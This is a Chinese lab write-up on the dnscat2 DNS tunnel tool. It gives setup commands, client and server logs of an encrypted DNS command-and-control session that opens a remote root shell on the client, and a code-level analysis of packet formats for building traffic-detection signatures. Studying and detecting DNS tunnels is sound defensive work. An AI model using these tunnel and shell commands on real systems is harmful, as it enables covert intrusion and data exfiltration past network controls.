工具介绍
项目地址:
https://github.com/iagox86/dnscat2
使用场景
dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell……
最新版本为几年前的 v0.07版本
流量&逻辑分析
环境&测试准备
环境配置
客户端 Ubantu 192.168.2.129
服务端 Kali 192.168.2.139
提前准备
服务端:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2
cd server
sudo gem install bundler
bundle install
客户端:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
测试方式
- Ubantu运行命令
#启动
dnscat --secret=123456 abc.com #对应 方式1
dnscat --dns server=,port=553,type=TXT #对应 方式2,注意使用–dns选项时,port不可省,否则可能连不上
这里使用常用命令(注意此方式需要修改ubantu的/etc/resolv.conf为kali的地址)
dnscat --dns domain=a.com,server=192.168.2.139
其中a.com在Ubantu上做了host解析绑定,绑定地址为192.168.2.139
- Kali上运行dns2tcpd
#启动
sudo ruby./dnscat2.rb abc.com --secret=123456 #方式1【常用】
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=123456 #方式2
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache #方式3
这里选择使用方式1:
- 之后在kali上通过window -i、shell、session -i等命令进入命令执行流程(我这里使用有bug,sessions和windows命令只显示了一个窗口)
Ubantu上部分日志如下:
root@ubuntu:/home/xm/file/dnscat2/client# ./dnscat -d --packet-trace --dns domain=a.com,server=192.168.2.139
Creating DNS driver:
domain = a.com
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 192.168.2.139
[[ INFO ]] :: Creating UDP (DNS) socket on 0.0.0.0
[[ INFO ]] :: Setting session->name to command (ubuntu)
OUTGOING: Type = ENC :: [0x33bb] session = 0xadf5
[[ INFO ]] :: Sending DNS query for: 33bb03adf50000000066542e609eac112af263ac2f93dee4f0f2d678e0a4.0f989dafc1c28ef5bab4347bd53e844efb6578dcb434e575caf113e05aaa.139386cd9b7a0761ce39a5cbf8.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (340 bytes)
[[ INFO ]] :: Received a CNAME response: feff03adf50000000062a1128017f9bdf64a8e53f810548c077d6bb0bf227b9.6b064f0e1bd07e3299c418d5fbce7f2862f98a6990a15e6db7a2c1e46bdf5f1.0089b1c99b8d16bab173.a.com
INCOMING: Type = ENC :: [0xfeff] session = 0xadf5
my_private_key: f19119cc3c9ff6bdca3fb84a63e0f53e55c7c472e597cf584e0be8a1f3528e06
my_public_key: 66542e609eac112af263ac2f93dee4f0f2d678e0a40f989dafc1c28ef5bab4347bd53e844efb6578dcb434e575caf113e05aaa139386cd9b7a0761ce39a5cbf8
their_public_key: 62a1128017f9bdf64a8e53f810548c077d6bb0bf227b96b064f0e1bd07e3299c418d5fbce7f2862f98a6990a15e6db7a2c1e46bdf5f10089b1c99b8d16bab173
shared_secret: 4eaf6c25a0fe6a2e80f205b21f7a84593e7e2ceaa9c1630992d7b244659ed064
my_write_key: fb904fab9ec69e320e95740a163df8b4293e706f7834b0797e016b24ab27caab
my_mac_key: 358272b2609f083ee8bf0cac3bcfa882bf532e4cca04e7fded0138324bad0a06
their_write_key: 44521e236c6ab91605ad9d7ccc5c9f5d4225255cc52e529c58fa359574dd6e26
their_mac_key: 4537755a850a9b45f7a7c811009fc42928e94372d47800c5e041331b111ff92a
Encrypted session established! For added security, please verify the server also displays this string:
Teal Rapier Convoy Purr Domed Gibbon
OUTGOING: Type = SYN :: [0xea9a] session = 0xadf5, seq = 0xdf53, options = 0x0021
[[ INFO ]] :: Sending DNS query for: ea9a00adf5f68ca95fb81a0000096da9f456947abe8ce364077f021177ea.bdc56361.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (147 bytes)
[[ INFO ]] :: Received a CNAME response: fc7c00adf55f6b862744a2ffff6b1d4af8.a.com
INCOMING: Type = SYN :: [0xfc7c] session = 0xadf5, seq = 0x1c0b, options = 0x0000
Session established!
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x751a] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 751a01adf50d483486401a0001e59c61ea.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (105 bytes)
[[ INFO ]] :: Received a TXT response: d09601adf57ec5de7f47a4ffff6b1d95ab
INCOMING: Type = MSG :: [0xd096] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0xbf34] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: bf3401adf5d19304d516490002a972b455.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (112 bytes)
[[ INFO ]] :: Received a CNAME response: 178201adf5b925b5ffc9b5ffff6b1d95ab.a.com
INCOMING: Type = MSG :: [0x1782] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x3c73] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 3c7301adf5822ccce956fd0003cacc2462.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (114 bytes)
[[ INFO ]] :: Received a MX response: 7c9201adf5d5fd9a8fcaf7ffff6b1d95ab.a.com
[[ INFO ]] :: Received a MX response (34 bytes)
INCOMING: Type = MSG :: [0x7c92] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x50b5] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 50b501adf5d36d20cc2f560004ef301375.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (105 bytes)
[[ INFO ]] :: Received a TXT response: a4ca01adf5ffc880a42866ffff6b1d95ab
INCOMING: Type = MSG :: [0xa4ca] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x95b3] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 95b301adf50e4a2926e1aa000572a34451.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (105 bytes)
[[ INFO ]] :: Received a TXT response: f0e801adf5d23a9d70acacffff6b1d95ab
INCOMING: Type = MSG :: [0xf0e8] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0xc6e2] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: c6e201adf56aa57a6419d00006af055083.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (114 bytes)
[[ INFO ]] :: Received a MX response: af6801adf56482537d421fffff6b1d95ab.a.com
[[ INFO ]] :: Received a MX response (34 bytes)
INCOMING: Type = MSG :: [0xaf68] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x89a4] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 89a401adf51531d07e4cfa0007725c8128.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (112 bytes)
[[ INFO ]] :: Received a CNAME response: 011601adf573c7567cbd5bffff6b1d95ab.a.com
INCOMING: Type = MSG :: [0x0116] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x432f] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 432f01adf56ff3b20765590008120d0551.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (112 bytes)
[[ INFO ]] :: Received a CNAME response: 95f401adf58ce2148c15a3ffff6b1d95ab.a.com
INCOMING: Type = MSG :: [0x95f4] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0xf6e9] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: f6e901adf51aa328c2e0dd0009338d8fcf.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (105 bytes)
[[ INFO ]] :: Received a TXT response: 530901adf5398d40da66eaffff6b1d95ab
INCOMING: Type = MSG :: [0x5309] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x6184] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 618401adf538c9c9815aee000a0d40e486.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (105 bytes)
[[ INFO ]] :: Received a TXT response: 0d7a01adf57c762e0f62f7ffff6b1d95ab
INCOMING: Type = MSG :: [0x0d7a] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x33ef] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 33ef01adf5274f3401ce97000b22b86478.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (105 bytes)
[[ INFO ]] :: Received a TXT response: 534901adf50bd9d39b0095ffff6b1d95ab
INCOMING: Type = MSG :: [0x5349] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x077f] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 077f01adf5707422847ca4000c2e3ef77a.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (114 bytes)
[[ INFO ]] :: Received a MX response: 023a01adf5091b6cf4edecffff6b1d95ab.a.com
[[ INFO ]] :: Received a MX response (34 bytes)
INCOMING: Type = MSG :: [0x023a] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x0501] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 050101adf5f9c99eb28821000d495bedf9.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (112 bytes)
[[ INFO ]] :: Received a CNAME response: 091c01adf589a4cb34f4d3ffff6b1d95ab.a.com
INCOMING: Type = MSG :: [0x091c] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x021f] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 021f01adf5f8c18e9b98e9000eb0c7dcd7.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (114 bytes)
[[ INFO ]] :: Received a MX response: 012e01adf503e60bef9045ffff6b1d95ab.a.com
[[ INFO ]] :: Received a MX response (34 bytes)
INCOMING: Type = MSG :: [0x012e] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x07fa] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 07fa01adf51052b89223e2000f516673f9.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (114 bytes)
[[ INFO ]] :: Received a MX response: a63801adf567413973cf52ffff6b1d95ab.a.com
[[ INFO ]] :: Received a MX response (34 bytes)
INCOMING: Type = MSG :: [0xa638] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x43dc] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 43dc01adf5cbae298f997c0010898f02d4.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (114 bytes)
[[ INFO ]] :: Received a MX response: 425301adf56de875862e27ffff6b1d95ab.a.com
[[ INFO ]] :: Received a MX response (34 bytes)
INCOMING: Type = MSG :: [0x4253] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, sending a MSG packet (SEQ = 0xdf53, ACK = 0x1c0b, 0 bytes of data...)
OUTGOING: Type = MSG :: [0x8b04] session = 0xadf5, seq = 0xdf53, ack = 0x1c0b, data = 0x0 bytes
[[ INFO ]] :: Sending DNS query for: 8b0401adf5a1afcdfe1ced001188d2d2eb.a.com to 192.168.2.139:53
[[ INFO ]] :: DNS response received (105 bytes)
[[ INFO ]] :: Received a TXT response: fdc001adf594fdacd9f23fffff6b1d95ab
INCOMING: Type = MSG :: [0xfdc0] session = 0xadf5, seq = 0x1c0b, ack = 0xdf53, data = 0x0 bytes
[[ INFO ]] :: In SESSION_STATE_ESTABLISHED, received a MSG
Kali上完整日志如下:
─# ruby ./dnscat2.rb a.com --secret=123456
New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.
auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted and authenticated
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = a.com]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=123456 a.com
To talk directly to the server without a domain name, run:
./dnscat --dns server=x.x.x.x,port=53 --secret=123456
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
dnscat2> windows
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = a.com [*]
1 :: command (ubuntu) [encrypted and verified] [*]
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command (ubuntu) 1> shell
Sent request to execute a shell
command (ubuntu) 1> New window created: 2
Shell session created!
command (ubuntu) 1> sessions
Windows active in this session (to see all windows, go to
the main window by pressing ctrl-z):
1 :: command (ubuntu) [encrypted and verified] [active]
command (ubuntu) 1> windows
Windows active in this session (to see all windows, go to
the main window by pressing ctrl-z):
1 :: command (ubuntu) [encrypted and verified] [active]
command (ubuntu) 1> window -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
sh (ubuntu) 2> id
sh (ubuntu) 2> 用户id=0(root) 组id=0(root) 组=0(root)
sh (ubuntu) 2> ip a
sh (ubuntu) 2> 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:6d:1d:4f brd ff:ff:ff:ff:ff:ff
altname enp2s1
inet 192.168.2.129/24 brd 192.168.2.255 scope global dynamic noprefixroute ens33
valid_lft 1232sec preferred_lft 1232sec
inet6 fe80::d2f0:8891:c0e4:1cd6/64 scope link noprefixroute
valid_lft forever preferred_lft forever
3: br-71fb48624cfc: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:04:6c:ca:90 brd ff:ff:ff:ff:ff:ff
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:9f:24:de:4d brd ff:ff:ff:ff:ff:ff
5: br-db287b2cb6fa: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:e5:5e:6d:74 brd ff:ff:ff:ff:ff:ff
6: br-fdbf05d4a411: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:1c:a2:4d:b6 brd ff:ff:ff:ff:ff:ff
sh (ubuntu) 2> help
sh (ubuntu) 2> sh: 5: help: not found
exit
sh (ubuntu) 2> Session 2 killed: Received FIN! Bye!
New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.
auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted and authenticated
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = a.com]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=123456 a.com
To talk directly to the server without a domain name, run:
./dnscat --dns server=x.x.x.x,port=53 --secret=123456
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
dnscat2>
dnscat2> windows
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = a.com [*]
1 :: command (ubuntu) [encrypted and verified] [*]
dnscat2> window -i 1
New window created: 2
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
Session 2 killed: Received FIN! Bye!
dnscat2> exit
Input thread is over
检测特征
抓取的部分流量特征如下:
源代码中client相关逻辑在client文件夹中,server相关逻辑在server中,目前主要检测逻辑和检测点在connect请求检测和connect成功检测
Client逻辑分析
clien的入口main函数在dnscat.c的第354行,从这开始往下分析,其中其中涉及掉一些方法,这里做一些简要说明:
#413#select_group_create:用于初始化select_group_t类型结构体
#414#dns_get_system:用于获取系统的DNS解析地址,比如对于Linux,读取/etc/resolv.conf文件,返回nameserver的内容
#436#getopt_long_only:用于挨个获取输入的参数,并做相关的处理,因为使用了--dns参数,下面的521行处理中涉及到对create_dns_driver方法的操作
#299#create_dns_driver:对接收到的--dns参数做提取和处理,最终交由#250#create_dns_driver_internal处理,这个方法继续交由driver_cns.c#390#driver_dns_create方法处理
driver_cns.c#390#driver_dns_create:用于使用给定参数创建DNS驱动,并创建本地的UDP类型的socket连接
#96#create_drivers:此方法用于创建DNS处理机制,会调用controller_add_session(session_create_command(group, "command"))进行默认处理,涉及到很多其他的方法,暂不分析,需要知道的是,默认会使用加密
重点关注一下driver_dns_go方法,继续跟踪:
继续跟踪timeout_callback方法:
跟踪do_send方法:
此方法中需要特别注意这两部分,第一部分是data的赋值处理,第二部分是域名处理逻辑,controller_get_outgoing方法:
跟踪session_get_outgoing:
session_get_outgoing的处理逻辑整体上来说比较简单,因为做了很多判断,导致代码看起来很多,实际上做的处理就是针对session的状态不同(NEW、ESTABLISHED、PING)构造不同类型的packet_t packet,并返回转换为bytes数据的packet
主要有三种类型packet:ENC、MSG、FIN、PING、SYN,每一种的packet的类型都在controller/packet.c中定义,都存在一定的差异
返回bytes数据时,会用到packet_to_bytes方法对packet数据进行处理#packet.c#286#packet_to_bytes:
对于最开始的NDS请求来说,满足以下条件(未使用–no-encryption):
其中如果提供了域名长度固定分解下来为 73 = 30 + 30 + 13,所以DNS请求数据类似如下:[0-9a-z]{302}.[0-9a-z]{302}.[0-9a-z]{13*2}.xxx,其中init阶段,部分内容固定,比如
packet_type固定为PACKET_TYPE_ENC(0x03),所以在DNS请求的初始化阶段,第5、6位必定为03
body.enc.subtype固定为PACKET_ENC_SUBTYPE_INIT(0x00),第11-14位必定为00
body.enc.flags固定为0,第15-18位必定为00
对于MSG心跳包来说满足以下条件(未使用–no-encryption条件下):
encryptor_encrypt_buffer(session->encryptor, packet_buffer)处理之后pakcet_buffer长度为(header=5 + nonce=2 + body=4,共计11位,长度固定)
encryptor_sign_buffer处理之后pakcet_buffer长度为(header=5 + signature=6 + nonce=2 + body=4,共计17位,长度固定)
最终域名满足如下格式:
前面的域名长度固定为34( 17 * 2)
第5-6位必定为01(PACKET_TYPE_MSG=0x01)
如果使用了–no-encryption参数,在session_get_outgoing的处理逻辑中就会存在不同,比如初始请求,不会创建ENC类型,而是调用函数packet_create_syn来创建SYN类型
按照加密逻辑分析,数据存在一定的相似度,DNS请求满足以下条件:
5-6位必定为00,对应PACKET_TYPE_SYN(0x00)
15-18位固定为0021,对应OPT_COMMAND(0x20)
19-32位固定为636f6d6d616e64,对应内容command
其中name部分固定为(command)具体调用逻辑为#dnscat.c#568#create_drivers -> #dnscat.c#132#session_create_command -> #session.c#689#session_create -> #session.c#662#get_name
其中固定部分为command (,这里检测取前边command内容就行
针对msg类型,packet类似如下:
相对于加密来说只有(header=4 + body=5,共9位),同时DNS请求满足以下特征
前面域名长度为18位(9 * 2)
5-6位为01
Server逻辑分析
服务端的整体架构基本和客户端的相同,按照分析客户端的方法来分析服务端,主要入口功能函数为#dnscat2.rb#210#TunnelDrivers.start中:
主要分析packet处理部分,主要方法和函数在#session.rb#364#_handle_incoming进行处理:
Packet.parse用于将接收到的数据准换为发送的原始数据,相当于进行Client的逆向操作:
其中不同的body有不同的定义,类似Client
从后续逻辑能分析出,针对ENC类型的Packet返回包和query的格式基本一致,并且type、session_id一致,
因此可对ENC类型的Type和session_id的请求和响应做一致性检测
也就是检测5-18位数据的一致性+请求响应的格式特征
针对SYN类型处理如下:
回包的处理和生成逻辑在session.rb中
检测逻辑和ENC类似
请求和响应的5-6位为00
请求的5-10位和响应的5-10位相同(packet_type + packet_sessionid)
响应为18位(packet_id=4 packet_type=2 session_id=4 syn.seq=4 syn.option=4),5-6位为00,14-18为0000
关于UDP中提取DNSquery特定数据和响应中特定数据作比较,暂时还没有很好的头绪